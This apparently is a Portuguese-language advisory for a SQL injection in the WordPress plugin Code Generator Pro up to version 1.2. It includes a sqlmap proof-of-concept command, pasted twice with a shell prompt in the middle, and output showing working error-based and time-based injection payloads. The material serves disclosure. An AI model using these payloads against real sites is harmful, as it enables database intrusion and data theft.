
Code Generator Pro <= 1.2 - Injeção SQL não autenticada
Code Generator Pro <= 1.2 - Injeção de SQL não autenticada
O plugin Code Generator Pro para WordPress é vulnerável a Injeção de SQL nas versões até, e incluindo, 1.2 devido a escape insuficiente no parâmetro fornecido pelo usuário e falta de preparação suficiente na consulta SQL existente. Isso torna possível que atacantes não autenticados anexem consultas SQL adicionais às consultas já existentes, que podem ser usadas para extrair informações sensíveis do banco de dados.
O POC é autenticado, mas acho que é um endpoint diferente que será vulnerável. Suspeito de code-generator-pro/style.php, mas não tive tempo de configurar nada.
sqlmap.py -u 'https://wp-dev.ddev.site:443/wp-admin/admin.php?page=code_generator_add_code&noheader=true' --data='code_generator_add_code_code=test&code_generator_add_code_password=test&code_generator_add_code_url%5B%5D=test'\''&code_generator_add_code_url%5B%5D=te&code_generator_add_code_add=Add' --level=3 --risk=3 --dbms='MySQL ' --cookie='wordpress_sec_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1735995922%7C95bZ3CaSOfNPHbJ45ApFJLKCzbx9MaCGZ1PD8STtBQ7%7C16d4ec708b7ed41e7bd3b130c8238d981e31999e942540ce1e1ceac1131838f0;sbjs_migrations=1418474375998%3D1;sbjs_current_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_first_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%(base) Roberts-MBP:~ rwiggins$ python3 /Users/rwiggins/tools/sqlmap/sqlmap.py -u 'https://wp-dev.ddev.site:443/wp-admin/admin.php?page=code_generator_add_code&noheader=true' --data='code_generator_add_code_code=test&code_generator_add_code_password=test&code_generator_add_code_url%5B%5D=test'\''&code_generator_add_code_url%5B%5D=te&code_generator_add_code_add=Add' --level=3 --risk=3 --dbms='MySQL ' --cookie='wordpress_sec_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1735995922%7C95bZ3CaSOfNPHbJ45ApFJLKCzbx9MaCGZ1PD8STtBQ7%7C16d4ec708b7ed41e7bd3b130c8238d981e31999e942540ce1e1ceac1131838f0;sbjs_migrations=1418474375998%3D1;sbjs_current_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_first_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29;sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29;sbjs_udata=vst%3D2%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010.15%3B%20rv%3A133.0%29%20Gecko%2F20100101%20Firefox%2F133.0;user_age_data=YWdlX3ZlcmlmaWNhdGlvbl9wbHVnaW4=;wordpress_test_cookie=WP%20Cookie%20check;sbjs_session=pgs%3D1%7C%7C%7Ccpg%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F;wordpress_logged_in_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1735995922%7C95bZ3CaSOfNPHbJ45ApFJLKCzbx9MaCGZ1PD8STtBQ7%7C7c28d70808d0a70bb28aeca97ec259a3f3b0aeb7cc0c4e535576999fd5dba9d1'
sqlmap identified the following injection point(s) with a total of 1490 HTTP(s) requests:
---
Parameter: Array-like #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: code_generator_add_code_code=test'||(SELECT 0x55704c57 WHERE 1247=1247 AND (SELECT 7738 FROM(SELECT COUNT(*),CONCAT(0x71706b7a71,(SELECT (ELT(7738=7738,1))),0x716a717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&code_generator_add_code_password=test&code_generator_add_code_url[]=test'&code_generator_add_code_url[]=te&code_generator_add_code_add=Add
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: code_generator_add_code_code=test'||(SELECT 0x52696578 WHERE 7877=7877 AND (SELECT 8438 FROM (SELECT(SLEEP(5)))DAxL))||'&code_generator_add_code_password=test&code_generator_add_code_url[]=test'&code_generator_add_code_url[]=te&code_generator_add_code_add=Add
---
[13:24:06] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0 (MariaDB fork)